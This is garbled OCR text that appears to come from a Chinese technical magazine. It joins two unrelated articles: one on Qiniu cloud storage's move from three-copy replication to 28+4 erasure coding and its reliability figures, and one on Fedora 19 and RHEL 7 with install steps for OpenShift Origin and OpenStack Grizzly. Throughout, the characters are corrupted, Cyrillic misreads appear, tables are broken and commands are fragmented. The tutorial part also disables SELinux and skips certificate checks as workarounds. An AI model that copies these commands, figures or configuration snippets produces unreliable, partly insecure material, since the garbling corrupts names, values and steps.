已 无 法 满足 业务 的 可 靠 性 要 求 。 数 据 需 
要 有 宛 余 (比较 经 典 的 做 法 是 3 副本 )， 


并 且 在 磁盘 损坏 时 及 早 修复 丢失 的 数据 ， 
以 避免 所 有 的 副本 损坏 造成 数据 丢失 。 

。 可 用 性 要 求 。 单 机 文件 系统 通常 只 是 单 
副本 的 方案 ， 在 该 机 器 宕 机 后 ， 数 据 就 
不 可 读 取 ， 也 不 可 写 入 。 





在 分 布 式 存储 系统 出 现 前 ， 有 一 些 基 于 单 
机 文件 系统 的 改良 版 本 被 一 些 应 用 采纳 。 比 如 
在 单机 文件 系统 上 加 RAID5 做 数据 元 余 ， 来 解 
决 单机 文件 系统 的 可 靠 性 问题 。 假 设 RAID5 的 
数据 修复 时 间 是 1 天 (实际 上 往往 做 不 到 ， 尤 
其 是 业务 系统 本 身 压力 比较 大 的 情况 下 ， 留 给 
RAID 修复 用 的 磁盘 读 写 带宽 很 有 限 )， 这 种 方 
案 单 机 的 可 靠 性 大 概 是 100 年 丢失 一 次 数据 ( 即 
可 靠 性 是 2 个 9 )。 看 起 来 尚 可 ? 但 是 你 得 小 心 
两 种 情况 。 一 种 是 当 你 的 集群 规模 变 大 时 ， 你 
仍然 沿用 这 个 土方 法 ， 比 如 你 现在 有 100 台 这 
样 的 机 右 ， 那 么 就 会 变 成 1 年 就 丢失 一 次 数据 。 
另 一 种 情况 是 如 果实 际 数据 修复 时 间 是 3 天 ， 
那么 单机 的 可 靠 性 就 直 降 至 4 年 丢失 一 次 数据 ， 
100 台 就 是 15 天 丢失 一 次 数据 ， 这 个 数字 显然 
无 法 让 人 接受 。 

Google GFS 是 很 多 人 阅读 的 第 一 份 分 布 
式 存储 的 论文 ， 这 篇 论文 商定 了 3 副本 在 分 布 
式 存 储 系统 里 的 地 位 。 随 后 Hadoop 参 考 此 论 
文 实现 了 开源 版 的 GFS 一 一 HDFS。 但 关于 
Hadoop 的 HDFS 实际 上 业界 有 不 少 误 区 。GFS 
的 设计 有 很 强 的 业务 背景 特征 ， 本 喘 是 用 来 做 
搜索 引擎 的 。HDFS 更 适合 做 日 志 存 储 和 日 志 
分 析 (数据 挖掘 )， 而 不 是 存储 海量 的 富 媒 体 文 
件 ， 原因 如 下 。 





















































° HDFS 的 block 大 小 为 64M， 如 果 文 件 
不 足 64M 也 会 占用 64M。 而 富 媒 体 文件 
大 部 分 仍然 很 小 ， 比 如 图 片 常规 尺寸 在 
100К 左右 。 有 人 可 能 会 说 我 可 以 调 小 
block 的 尺寸 来 适应 ， 但 这 是 不 正确 的 做 
法 。HDFS 的 架构 是 为 大 文件 而 设计 的 ， 
不 可 能 简单 地 通过 调整 block 的 大 小 就 
可 以 满足 海量 小 文件 存储 的 需求 。 

。HDFS 是 单 Master 结构 ， 这 决定 了 它 能 


够 存储 的 元 数据 条 目 数 有 限 ， 伸 缩 性 存 
在 问题 。 当 然 作 为 大 文件 日 志 型 存储 ， 
这 个 瓶颈 会 非常 晚 才 遇 到 ; 但 是 如 果 作 
为 海量 小 文件 的 存储 ， 这 个 瓶颈 很 快 就 

AE, 

e HDFS 仍然 沿用 文件 系统 的 API 形 式 。 
比如 它 有 目录 这 样 的 概念 ， 在 分 布 式 系 
统 中 维护 文件 系统 的 目录 树 结构 ， 会 遭 
遇 诸 多 难题 。 所 以 HDFS 8 2°, Master 47 
展 为 分 布 式 的 元 数据 集群 并 不 容易 。 





分 布 式 存储 最 容易 处 理 的 问题 域 还 是 单 键 
值 的 存储 ， 也 就 是 所 谓 的 Key-Value 存储 。 只 
有 一 个 Key， 就 意味 着 我 们 可 以 通过 对 Key 做 
Hash， 或 者 对 Key 做 分 区 ， 来 让 请 求 快速 定位 
到 某 一 台 特 定 的 存储 机 右上 ， 从 而 转化 为 单机 
问题 。 这 也 是 为 什么 在 数据 库 之 后 ,会 冒 出 来 
那么 多 NoSQL 数据 库 。 因 为 数据 库 和 文件 系 
统一 样 ， 最 早 都 是 单机 的 ， 在 伸缩 性 、 性 能 瓶 
颁 ( 在 单机 数据 量 太 大 时 )、 可 徘 性 、 可 用 性 上 
遇 到 了 相同 的 麻烦 。NoSQL 数 据 库 的 名 字 其 
实 并 不 恰当 ， 它 们 更 多 的 不 是 去 SQL， 而 是 去 
关系 (我 们 知道 数据 库 更 完整 的 称呼 是 关系 型 
数据 库 )。 有 关系 意味 着 有 多 个 索引 ,也 就 是 
有 多 个 Key， 而 这 对 数据 库 转 为 分 布 式 存储 系 
统 来 说 非常 不 利 。 

七 牛 云 存储 的 设计 目标 是 针对 海量 小 文 
件 的 存储 ， 所 以 它 对 文件 系统 的 第 一 个 改变 
也 是 去 关系 ， 也 就 是 去 目录 结构 (有 目录 意味 
着 有 父子 关系 )。 所 以 七 牛 云 存储 不 是 文件 系 
统 (File System ), 而 是 键 值 存储 (Key-Value 
Storage ), 用 时 後 点 的 话说 就 是 对 和 象 存储 ( Object 
Storage )。 不 过 七 牛 目 己 嘉 欢 把 它 叫 作 资 源 存 
储 (Resource Storage )， 因 为 它 是 用 来 存储 静 
态 资源 文件 的 。 蛮 多 七 牛 云 存储 的 新 手 会 问 ， 
为 什么 我 在 七 牛 的 API 中 找 不 到 创建 目录 这 样 
的 API， 根 本 原因 还 是 受 文件 系统 这 个 经 典 存 
储 系 统 的 有 影响。 

七 牛 云 存储 的 第 一 个 实现 版 本 ， 从 技术 上 
来 说 是 经 典 的 3 副本 的 键 值 存储 。 它 由 元 数据 
集群 和 数据 块 集群 组 成 。 每 个 文件 被 切 成 了 
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以 4M 为 单位 的 一 个 个 数据 块 ， 各 个 数据 块 按 
3 副本 做 元 余 。 但 是 作为 云 存 储 ， 它 并 不 仅仅 
是 一 个 分 布 式 存 储 集群 ， 它 需要 额外 考虑 以 下 
问题 。 

。 网 络 问 题 ， 也 就 是 文件 的 上 传 下 载 问题 。 
文件 上 传 方面 ， 我 们 得 考虑 在 相对 比较 
差 的 网 络 条 件 下 (比如 2G/3G 网 络 ) 如 何 
确保 文件 能 够 上 传 成 功 ， 大 文件 (七 牛 
云 存 储 的 单 文 件 大 小 最 大 是 1TB ) 如何 
能 够 上 传 成 功 ， 如 何 能 够 更 快 地 上 传 。 
文件 下 载 加 速 方面 ， 考 虑 到 CDN 已 经 有 
了 10 多 年 的 历史 ， 非 常 成 熟 ， 我 们 决定 
基于 CDN 来 做 下 载 加 速 。 
数据 处 理 。 当 用 户 将 文件 托管 到 了 七 牛 ， 
那么 针对 文件 内 容 的 数据 处 理 需 求 也 会 
自然 衍生 。 比 如 我 们 第 一 个 客户 就 给 我 
们 提 了 图 片 缩 略图 相关 的 需求 。 在 音 视 
频 内 容 越 来 越 多 的 时 候 ， 自 然 就 有 了 音 
视频 转 码 的 需求 。 可 以 预见 在 Office 文 
档 多 了 后 ， 也 就 会 有 Office 文 档 转 换 的 


所 以 从 技术 上 来 说 , 七 牛 云 存储 是 这 样 的 : 


七 牛 云 存 储 = 分 布 式 存储 集群 + 上 传 加 速 
网 络 ( 下 载 外 包 给 CDN 半数 据 处 理 集群 


网 络 问 题 并 不 是 七 牛 要 解决 的 核心 问题 ， 
只 是 我 们 要 面 对 的 现实 困难 。 所 以 在 这 个 问题 
上 如 果 有 足够 专业 的 供应 商 ， 能 够 外 包 我 们 会 
尽 可 能 外 包 。 而 分 布 式 存储 集群 的 演进 和 优化 ， 
才 是 我 们 最 核心 的 事情 。 早 在 2012 年 2 月 ， 我 
们 就 启动 了 新 一 代 基 于 纠 删 码 算术 宛 余 的 存储 
系统 的 研发 。 新 存储 系统 的 关注 点 在 以 下 几 个 
方面 


。 成 本 。 经 典 的 3 副本 存储 系统 虽然 经 典 ， 
但 是 代价 也 是 高 昂 的 ， 需 要 我 们 投入 3 
倍 的 存储 成 本 。 那 么 能 不 能 保证 在 高 可 
靠 和 高 可 用 的 前 提 下 把 成 本 做 下 来 ? 

。 可 靠 性 。 如 何 进 一 步 提升 存储 系统 的 可 


靠 性 ? 答案 是 更 高 的 容错 能 力 ( 从 允许 


同时 损坏 两 块 盘 到 允许 同时 损坏 4 块 盘 )、 
更 快 的 修复 速度 (从 原先 3 小 时 修复 一 块 
坏 盘 到 30 分 钟 修复 一 块 坏 盘 )。 

。 伸 缩 性 。 如 何 从 系统 设计 容量 、IO 吞吐 
能 力 、 网 络 拓扑 结构 等 角度 ， 让 系统 能 
够 支持 EB 级 别 的 数据 存储 规模 ? 关于 
伸缩 性 这 个 话题 ， 涉 及 的 点 是 全 方位 的 ， 
本 文 不 展开 讨论 (让 我 们 把 焦点 放 在 成 
本 和 可 靠 性 上 )。 


在 经 过 了 四 个 大 的 版 本 迭代 后 ,七 牛 新 
一 代 云 存储 (v2 ) 终 于 上 线 。 新 存储 的 第 一 大 
亮点 是 引入 了 纠 删 码 ( EC ) 这样 的 算术 宛 余 方 
案 ， 而 不 再 是 经 典 的 3 副本 宛 余 方案 。 我 们 的 
EC 采用 的 是 28+4, 也 就 是 把 文件 切 分 为 28 份 ， 
然后 再 根据 这 28 份 数据 计算 出 4 份 元 余数 据 ， 
最 后 把 这 32 份 数据 存储 在 32 台 不 同 的 机 器 上 。 
这 样 做 的 好 处 是 既 便 宜 ， 又 提升 了 可 靠 性 和 
可 用 性 。 从 成 本 角度 来 说 ， 同 样 是 要 存储 1PB 
的 数据 ， 要 买 的 存储 服务 器 只 需 3 副 本 存储 的 
36.5%， 经 济 效益 相当 好 ; 从 可 靠 性 方面 来 说 ， 
以 前 3 副本 只 能 允许 同时 损坏 两 块 盘 ， 现 在 能 
人 够 允许 同时 损坏 4 块 盘 ， 大 大 改善 了 可 靠 性 (后 
面 讨 论 可 靠 性 的 时 候 我 们 给 出 具体 的 数据 ) ; 
从 可 用 性 角度 来 说 ， 以 前 能 够 接受 两 台 服 务 髓 
下 线 ， 现 在 能 够 同时 允许 4 台 服 务 器 下 线 。 

新 存储 的 第 二 大 亮点 是 修复 速度 ， 我 们 把 
单 盘 修 复 时 间 从 3 小 时 提升 到 了 30 分 钟 以 内 。 
修复 时 间 同 样 对 提升 可 靠 性 有 着 重要 意义 (后 
面 讨论 可 靠 性 的 时 候 我 们 会 给 出 具体 的 数据 )。 
这 个 原因 是 比较 容易 理解 的 。 假 设 我 们 的 存储 
允许 同时 坏 M 块 盘 而 不 丢失 数据 ， 那么 集群 
可 靠 性 ， 就 是 看 在 单位 修复 时 间 内 ， 同 时 损坏 
M+1 块 盘 的 概率 。 例如, 假设 我 们 的 修复 时 
间 是 3 小 时 ， 那么 3 副本 集群 的 可 靠 性 就 是 看 
3 小 时 内 同时 损坏 3 块 盘 的 概率 (也 就 是 丢 数 据 
的 概率 )。 

让 我 们 回 到 存储 系统 最 核心 的 指标 一 一 
可 靠 性 。 首 先 ， 可靠 性 和 集群 规模 是 相关 的 。 
假设 我 们 有 1000 块 磁盘 的 集群 ， 对 于 3 副本 存 
储 系统 来 说 ， 这 1000 块 盘 同时 坏 3 块 就 会 发 生 















































数据 丢失 ， 这 个 概率 显然 比 3 块 盘 同 时 坏 3 块 
要 高 很 多 。 基 于 这 一 点 ， 有 人 可 能 会 想 这 样 的 
土方 法 : 如 采 把 集群 分 为 3 块 磁盘 为 一 组 ， 互 
为 镜像 ，1000 块 盘 就 是 333 组 (不 好 意思 多 了 
191, 我 们 忽略 这 个 细 市 )， 是 不 是 可 以 提升 可 
徘 性 ?这 些 同学 忽略 了 下 面 一 些 关 键 点 。 











。3 块 盘 同时 坏 3 块 (从 而 丢失 数据 ) 的 概率 
为 p， 那 么 333 组 这 样 的 集群 ， 丢 失 数 据 
的 概率 是 1-(1-р)^333 = p * 333, MRÆ Po 
АЗЕ E A ЕЛ ДЕШ. 
颈 。 坏 一 块 盘 后 你 需要 找 一 个 新 盘 进 行 
数据 对 找 ， 而 一 块 大 容量 磁盘 数据 对 描 
的 典型 时 间 是 15 小 时 (我 们 后 面 将 给 出 
15 小 时 同时 坏 3 块 盘 的 概率 )。 要 想 提 升 
这 个 修复 速度 ， 第 一 步 就 需要 打破 镜像 
ARAIRE 





如 采 一 个 存储 系统 的 修复 时 间 是 恒定 的 ， 
那么 这 个 存储 集群 在 规模 扩大 的 时 候 ， 必 然 伴 
随 着 可 徘 性 的 降低 。 所 以 最 理想 的 情况 是 集群 
越 大 ， 修 复 速度 越 快 。 这 样 才 能 抵消 因 集群 增 
大 导致 坏 盘 概率 增加 市 来 的 负面 影响 。 计 算 表 
НЯ, 如 条 修复 速度 和 集群 规 便 成 正比 (线性 关系 )， 





那么 集群 随 看 规模 增 大 ， 可 靠 性 会 越 来 越 高 。 
表 1 中 列 出 了 10 块 便 盘 的 存储 集群 在 不 同 存 
储 方案 、 不 同 修复 时 间 下 的 可 徘 性 计算 结果 。 

关于 数据 丢失 概率 具体 的 计算 公式 和 计算 
方法 ， 由 于 篇 幅 所 限 ， 本 文中 不 做 展开 ， 我 会 
妨 找 机 会 讨论 。 

对 我 个 人 而 言 , 七 牛 新 一 代 云 存储 (v2) 
的 完成 ， 了 了 我 多 年 的 凤 愿 。 但 七 牛 不 会 就 此 
停止 脚步 。 我 们 在 存储 系统 上 又 有 了 一 些 好 玩 
的 想法 。 从 长 远 来 说 ， 单 位 存储 的 成 本 会 越 来 
越 低 \ 便 件 和 软件 系统 都 会 推动 这 个 发 展 趋势 ) 
而 存储 系统 肯定 会 越 来 越 复 杂 。 例 如 ， 有 赖 于 
超 高 的 容错 能 力 ， 七 牛 对 单 块 磁盘 的 可 靠 性 要 
求 降低 了 很 多 ， 这 就 为 未 来 我 们 采用 困 面 便 盘 
而 不 是 企业 硬盘 作为 存储 介质 打下 了 基础 。 但 
是 单 块 磁盘 可 年 性 的 降低 ， 则 会 进一步 推动 存 
储 系统 往复 林 的 方向 发 展 。 基 于 这 个 推理 ， 我 
认为 存储 必然 需要 转 为 去 服务， 成 为 水 电 煤 一 
样 的 基础 设施 。 存 储 系统 越 来 越 复 杂 ， 越 来 越 
专业 , 这 就 导致 目 建 存储 的 难度 和 成 本 越 来 越 高 ， 
目 建 存储 的 必要 性 也 越 来 越 低 。 必然 有 那么 一 天 ， 
你 会 发 现 云 存储 的 成 本 远 低 于 目 建 存储 的 成 本 ， 
到 时 自 建 存储 就 会 是 纯 投 入 而 无 产 出 ， 也 就 没 
有 多 少 人 会 去 热 束 于 干 这 样 的 事情 了 。 























表 1 ”1000 块 硬盘 的 存储 集群 在 不 同 存储 方案 、 不 同 修复 时 间 下 的 可 靠 性 计算 结 


副本 存储 方案 容错 度 ( М) 修复 时 间 


30 分 钟 








数据 丢失 概率 (P ) 可 靠 性 
1.00E-08 8 个 9 








з 812752 3 小 时 


1.00E-05 5 小 9 





15 小 时 


1.00Е-02 2 个 9 





30 分 钟 





1.00E-16 logs 








28+4® Жл Зе 3 小 时 


1.00E-11 1174“%9 








15 小 时 
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ЙН ах “ВЕДЕ ЎЗ НУН” 


Кеа Hat Enterprise Linux 7 


冲刺 阶段 中 的 


Fedora 19 





У / ЖЕҢ! 
FRH 


Fedora 19( 项 目 名 : ВЕЛ Schrodinger's Cat ) кё Red Hat Enterprise Linux 7( 以 下 简称 RHEL 7 ) 的 基础 。 原 
定 是 由 Fedora 18 担 此 重任 的 ， 但 是 由 于 几 个 主要 功能 的 开 帮 延期， 导致 这 一 重担 沙 在 了 Fedora 19 身 上 。 下 面 大 


概 介绍 一 下 Fedora 19 的 新 功能 ， 以 逐步 过 渡 到 RHEL 7。 


作为 RHEL7 基 础 增加 必 
要 的 功能 


现行 版 本 RHEL 6 ЕД Fedora 12 为 基础 ， 
Fedora 的 7 个 版 本 在 大 约 3.5 年 的 进化 过 程 中 
被 逐步 编 人 了 RHEL 7。 尽 管 如 此 ， 因 为 RHEL 
6 也 有 不 少 功 能 被 向 后 迁移 ， 所 以 Fedora12 
到 19 的 变化 并 不 等 于 RHEL 6 到 7 的 变化 。 比 
如 LVM( Logical Volume Manager ) 的 Thin 
Provisioning 功能 在 RHEL 6 中 也 可 使 用 。 

另外 ，RHEL 7 的 基础 之 所 以 从 Fedora 18 
转 为 了 19， 是 由 于 后 述 的 Checkpoint / Restore 
等 重要 而 且 技 术 难 度 较 大 的 功能 的 开发 有 所 延 
述 。 本 文 将 挑选 一 些 新 增 和 变更 的 重要 功能 进 


Пла 





[了 对 云 的 正式 支持 





米 用 OpenShift Origin 


OpenShift Origin 是 社区 版 的 PaaS 环境 ， 是 Red 
Hat 面 器 企业 提供 的 公有 Paag 产品 OpenShiftOnline 





GO backport， 即 在 给 RHEL7 打 补丁 的 时 候 也 给 RHEL6 打 补 
Ta ИТЕ 





和 私有 PaaSs 产 品 OpenShiftEnterprise 的 基础 。 
Op nShift Origin 项 目 由 Red Hat HIF Æ, M 
而 形成 社区 ， 为 其 成 末 提 供 QA( 品 质保 证 )， 
确认 其 与 RHEL 的 兼容 性 并 回 企 业 提 供 长 期 的 
技术 文 持 生命 周期 ， 从 这 一 点 来 看 ， 可 以 说 
OpenShiftOnline 以 及 OpenShiftEnterprise 之 间 
的 关系 与 Fedora 和 RHEL 之 间 的 关系 是 同样 的 。 

OpenShift 使 用 Java、PHP、Ruby、Node.js、 
Python Рег 等 开发 语言 , 以 及 MySQL ( MariaDB )、 
MongoDB., 、PostgreSQL 等 数据 库 ， 并 将 集成 
TH Jenkins Е 7 Paas 提供 给 用 户 。 开 发 工程 
师 只 需 在 Web 控 制 台 (Web console ) 上 选择 并 
配置 项 目 需要 使 用 的 开发 环境 ， 设 置 版 本 管理 
工具 git， 就 可 以 开始 书写 代码 了 。 

另外 ， 由 于 OpenShift Origin 本 身 的 安装 就 
比较 麻烦 ， 因 此 Fedora19 的 安装 名 就 需要 繁杂 
的 手工 作业 。 不 过 利用 Red Hat 的 Troy Dawson 
在 GitHub 上 公开 的 安装 脚本 可 以 使 工作 变 得 
很 轻松 。 虽 然 还 可 以 使 用 从 OpenShift Origin 
的 Web 网 站 (http://openshift.github.io/ ) 下 载 的 
虚拟 客户 机 的 映像 文件 , 但 是 根据 笔者 的 测试 ， 
映像 文件 在 Fedora 19 上 不 能 正常 工作 。 还 有 
一 个 缺点 就 是 Fedoral9 的 OpenShift Origin 不 

















(2) http://fedoraproject.org/wiki/OpenShift Origin-F19 
(3) https://github.com/tdawson/oo-install-scripts 
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Hri Web til S, Fedora 20 才 会 日 带 。 
对 开发 工程 师 来 说 ,能 通过 命令 行使 用 
Paas 就 足够 了 了。 下 面 将 介绍 使 用 安 闭 脚本 的 安 














E OpenShift Origin 的 安装 

利用 前 述 的 Troy Dawson 的 脚本 进行 安装 。 
首先 在 两 台 机 胡 上 安装 Fedora 19， 将 一 台 作 为 
broker， 男 外 一 台 作 为 node。 首 先 安装 broker， 
F broker 上 安装 git 包 并 下 载 脚本 (图 1 )。 

用 编辑 兹 打开 oo-install-scripts/00-install. 
conf， 根 据 搭建 的 网 络 环境 进行 设置 。 下 面 的 
oo-install.conf 的 例子 是 笔者 的 环境 。 





DOMAIN="example.com" 
BROKERNAME="broker" 


МОрЕМАМЕ="поде" 
ВКОКЕКІР="192.168.1.40" 
NODEIP="192.168.1.41" 





下 面 执行 setup-broker.sh,， 由 于 在 安装 
过 程 中 会 出 现 SELinux 报 错 而 不 能 正常 安装 
Fedora 19， 因 此 暂时 先 关 掉 报 警 。 





# setenforce 0 





脚本 中 加 上 --slow 选 项 在 排 错 (trouble 
shooting ) 时 会 很 有 用 ， 所 以 第 一 次 还 是 加 上 
ATAMER Ta 


# cd oo-install-scripts 


# sh setup-broker.sh --slow 








Жее Ыы л EELA, EH systemet яй 
令 确 认 openshift-broker 服 务 已 经 启动 (图 2 )。 








У т 


使 用 Troy Dawson АЈ А5 


# yum -y install git 


«J 


下 面 安 装 node。 执 行 setup-node-from-broker. 
sh 时 有 两 点 需要 注意 。 第 一 个 是 在 broker- 
node-auth-setup.sh 中 进行 ssh 的 密 钥 交换 的 过 程 
中 ， 从 broker 回 node 传送 时 ， 如 果 node 上 没有 





/root/ .Ssh/ 目录 ， 就 会 发 生 错误 。 应 该 事先 登录 
node 执 行 ssh 命 令 。 另 外 一 个 与 区 域 设 置 有 关 ， 
node 的 字符 集 如 果 是 ja JP.UTF-8， 则 node- 
quota.sh 会 出 错 ， 因 此 事先 设置 成 LANG=C 比 
较 保 险 。 


# sh setup-node-from-broker.sh 


4 





node 重 起 之 后 ， 需 要 在 broker 上 测试 broker 


是 否 能 与 node 通 信 。 


# mco ping 


поде .ехатр(е. сот time=131.69 ms 


= ping statistics === 
1 replies max: 131.69 min: 131.69 avg: 
131.69 


之 后 需要 在 broker 上 测试 broker 是 否 工 作 
(图 3 )。 
到 此 broker 和 node 的 安装 就 结束 了 。 


E 设置 用 户 

下 面 设置 使 用 OpenShift Origin 的 用 户 并 
配置 初始 的 应 用 。 在 客户 剖 机 带 上 安 狠 Fedora 
19 并 安装 rubygem-rhc 包 。 





# yum -y install rubygem-rhc 








其 次 ,将 环境 参数 LIBRA SERVER 设置 
为 broker 的 主机 名 ， HÍT rhe setup 命令 。 虽 然 





# git clone git://github.com/tdawson/oo-install-scripts.git 


У 2 使 用 systemctl 确 认 openshift-broker 服 务 是 否 


# SystemctL status openshift-broker 


openshift-broker.service - Тһе OpenShift Origin Broker 


Loaded: loaded (/usr/lib/systemd/system/openshift-broker.service; enabled) 
Active: active (running) since Mon 2013-07-15 00:46:10 JST; 34s ago 
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脚本 有 点 长 ， 但 成 功 安装 之 后 束 是 如 此 ， 这 里 
附 上 脚本 全 文 供 读者 参考 (图 4)。 执 笔 时 笔者 
EEA] y bug, EXHAR EWA To WRH 
— J h Ж [ IR, broker 的 /var/log/openshift/ 
broker/httpd/error log 会 很 有 帮助 。 

如 此 就 完成 了 客户 问 的 安装 ， 下 面 设置 初 





# rhc app-create test diy-0.1 -p demo 








配置 完成 之 后 将 broker 指 定 为 名 字 服 务 需 ， 
访问 http://test-demoland.example.com/， 即 可 访 
问 由 配置 好 的 应 用 生成 的 网 页 。 


采用 OpenStack Grizzly 


从 OpenStack 的 第 4 个 版 本 Fedora 附 融 的 
Diablo 开始， 因为 Fedora 与 OpenStack 的 发 布 
周期 同 为 6 个 月 ， 所 以 二 者 的 版 本 升级 的 时 
期 也 是 一 致 的 ，Fedoral7、18、19 分 别 附带 
T Essex, Folsom 和 Grizzly。 当 然 , 下 一 个 
Fedora20 应 该 也 附带 有 OpenStack 的 下 一 个 版 
本 Havana, 





E Fedora 19 的 Grizzly 不 是 野 能 

这 里 所 说 的 “ 附 齐 ”的 意思 是 可 以 使 用 RDO 
项 目的 成 果 ， 所 谓 RDO 是 指 将 OpenStack 的 社 
X ( http://openstack.org/ ) 分 发 的 源 代 码 打 包 用 
F Fedora #1 Red Hat 系 的 Linux 发 布 版 。RDO 
是 Red Hat 赞 助 的 社区 ，Red Hat 以 其 成 果 为 基 
础 生产 了 RedHat Enterprise Linux OpenStack 
Platform( 以 下 简称 RHOS ) 这 一 商用 产品 ,在 
这 一 点 上 ， 它 与 前 面 所 述 的 OpenShift 是 完全 
相同 的 模式 。 

用 OpenStack 社 区 版 构筑 过 Open Stack 的 
人 都 知道 ,由 于 OpenStack 还 远 远 没有 成 熟 ， 
因此 将 RDO 作 为 较为 原始 的 第 一 阶段 产品 ， 
将 RHOS 作为 较为 稳定 的 第 二 阶段 产品 ， 这 样 





У з 在 broker 上 测试 broker 是 否 工作 


# curl -k -u дето: дето https://localhost/broker/rest/api 











的 产品 定型 方式 意义 重大 。 而 且 ， 因 为 社区 版 
的 发 布 周期 为 6 个 月 ， 只 能 设 定 较 短 的 文 持 期 ， 
而 与 此 相对 ，RHOS 的 支持 期 更 长 ， 而 且 文 持 
后 续 厂 本 的 回 后 迁移 ， 所 以 更 适合 企业 使 用 。 


加 OpenStack Grizzly 的 功能 强化 点 

构筑 Iaags 的 策略 OpenStack 的 第 7 个 版 本 
Grizzly 中 , 出 现 了 200 项 以 上 的 新 功能 号, 下面 
仅 列 出 其 中 主要 的 几 项 。 


。 Nova: 强化 了 扩展 性 ， 改 进 了 对 超级 系 
统管 理 程序 ( hypervisor ) 的 支持 等 

Swift: 配额 功能 

Cinder: 日 程 管 理 功 能 ， 增 加 了 各 种 存 
储 器 驱动 

e Neutron: 增加 了 Big Switch 和 Brocade 
等 插件 ， 强 化 了 扩展 性 


基于 Grizzly 的 RHOS 3.0 没 有 技术 支持 ， 
但 还 是 包含 了 收集 交 费 信息 的 Ceilmeter 应 用 和 
进行 编排 ( orchestration ) 的 Heat 应 用 。 





Ей 喂 喂 熊 吧 

下 面 终于 要 说 到 在 Fedora 19 上 安装 
Grizzly 了 ， 但 是 在 笔者 执笔 本 文 时 ( Fedora 19 
RC1 ) 用 一 般 的 手段 还 安装 不 了 。 下 面 介 绍 一 
下 安装 时 会 发 生 的 问题 和 处理 方法 ， 读 者 拿 到 
本 困 志 时 可 能 这 里 的 介绍 已 经 没 用 了 (祈祷 有 
H), 或 者 也 可 能 会 遇 到 新 问题 ,但 那 就 不 在 
我 们 的 讨论 范围 之 内 了 。 

另外 ,关于 这 里 举 出 的 问题 ， 笔 者 和 同 
休 已 经 向 RDO 或 者 Red Hat 的 问题 管理 系统 
Bugzilla ( https://bugzilla.redhat.com/ ) 提交 了 了 问 
题 报 告 并 附带 了 补丁 ， 所 以 这 些 问 题 早 晚会 解 
决 的 。 

















(4) http://Web.openstack.org/software/grizzly/ 


{"data":{"API":{"href":"https://localhost/broker/rest/api","method 
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本 着 不 怕 上 述 “ 威 胁 ” 的 态度 ， 下 面 对 一 体 


# pvcreate /dev/sda4 


的 ， 也 就 是 用 1 Лл ЗЕ Grizzly 的 方法 进行 指定 空闲 分 区 | 
说 明 。 一 体 的 安装 可 以 使 用 packstack 安装 脚本 。 # vgcreate cinder-volumes /dev/sda4 


O Z% Fedora 19 x86_64 (2) 安装 openstack-packstack 包 
“cinder-volumes” 卷 组 (VG ) 可 以 在 安装 的 使 用 yum install 命 令 安 装 。 


时 候 生 成 ， 也 可 以 在 安装 完毕 之 后 使 用 pvcereate/ | 
、 # yum -у install openstack-packstackyu 
vgcreate 命令 生成 。 


У 84 ”rhc setup 命令 执行 的 过 程 


# LIBRA_ SERVER=broker.example.com rhc setup 
OpenShift Client Tools (RHC) Setup Wizard 


This wizard will help you upload your SSH keys, set your application namespace, and check Fd 
that other programs like Git are properly installed. 

The server's certificate is self-signed, which means that a secure connection can't be 回 
established to 'broker.example.com'. 

You may bypass this check, but any data you send to the server could be intercepted by 回 
others. 


Connect without checking the certificate? (yes|no): yes 
Login to broker.example.com: demo 
PasSsword : жжжж 


OpenShift can create and store a token on disk which allows to you to access the server В 
without using your password. The key is stored in your home directory and should be kept В 
secret. You can delete the key at any time by running 'гһс logout'. 

Generate a token now? (yes|no) no 


Saving configuration to /root/.openshift/express.conf ... done 


No SSH keys were found. We will generate a pair of keys for you. 
Created: /root/.ssh/id_rsa.pub 
Your public SSH key must be uploaded to the OpenShift server to access code. Upload now? (yes|no) yes 


Since you do not have any keys associated with your OpenShift account, your new key will be 
uploaded as the 'default' key. 

Uploading key 'default' ... done 

Checking for git ... found git version 1.8.3.1 

Checking common problems .. done 

Checking your namespace ... none 

Your namespace is unique to your account and is the suffix of the public URLs we assign to 
your applications. You may configure your 

namespace here or leave it blank and use 'rhc create-domain' to create a namespace later. 
You will not be able to create applications 

without first creating a namespace. 


Please enter a namespace (letters and numbers only) |<none>|: demoland 
Your domain name 'demoland' has been successfully created 


Checking for applications ... none 
Run 'rhc create-app' to create your first application. 


You are using 0 of 100 total gears 
The following gear sizes are available to you: small 


Your client tools are now configured. 
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© 为 了 避 开 问题 安装 python-django14、httpd 包 
Grizzly 中 包含 的 Glance( 虚 拟 机 映像 服 
务 ) 需 要 python-django 的 1.4 系 列 ， 而 Fedora 
19 中 包含 的 是 1.5 系列 ， 所 以 会 有 冲突 。 为 外 
packstack 的 puppet 模 板 适 用 于 Apache 2.2 系 
列 ， 因 此 使 用 Fedora 19 中 包含 的 Apache 2.4 的 
设置 文件 会 产生 语法 错误 导致 httpd 无 法 局 动 。 
因此 需要 保持 httpd 包 目 带 的 httpd.conf( 图 5 )。 











修改 mysql 的 puppet 资 源 配 置 文件 
将 /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/mysql/manifests/params.pp 文件 的 


case $::osfamily { 


'RedHat': { 





之 后 的 


'mysql' 
'mysql- 


$client_package_name 
$server_package_name 
server ' 


修改 成 


$client package_name 





'mariadb' 
'mariadb- 


$server_package_name 
server' 





后 面 还 会 说 到 ，Fedora 19 中 把 缺 省 数据 库 
从 MySQL 变更 为 了 MariaDB ， 由 此 mysql 包 的 
名 称 也 变更 为 了 community-mysql。 如 果 不 修 
改 资源 配置 文件 直接 安 闭 的 话 ， 就 会 出 现 “ 没 


” 5 保持 httpd 包 自 带 的 httpd.conf 


# yum -y install pytho-django14 httpd 
# cp -a /etc/httpd/conf/httpd.conf ./ 


# chcon --reference /etc/httpd/conf/httpd.conf . 





httpd.conf (cp 命令 筷 了 加 -a 选 项 的 时 候 ) 


有 图 6 被 注解 掉 的 行 


exec {'load_kvm': 
user => 'root', 





有 mysql 包 ”这 样 的 错误 ， 从 而 导致 packstack 
结束 。 而 且 打 包 错 误 还 会 导致 安装 community- 
mysql-server 包 时 安装 的 不 是 community-mysgl- 
libs， 而 是 mariadb-libs 包 ， 这 也 是 个 问题 。 











(5) 修改 keystone 的 puppet 资 源 配置 文件 
在 /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/keystone/manifests/init.pp 文件 的 


file { '/etc/keystone/keystone.conf': 
mode => '0600', 





file < '/var/log/keystone/keystone.log': 
owner => 'keystone', 


group => 'keystone', 
} 








这 样 Keystone WÈ н] LA Wt fe KHN BR ИЕК 
无 法 启动 的 问题 。 


(© 修改 nova 的 puppet 模 板 

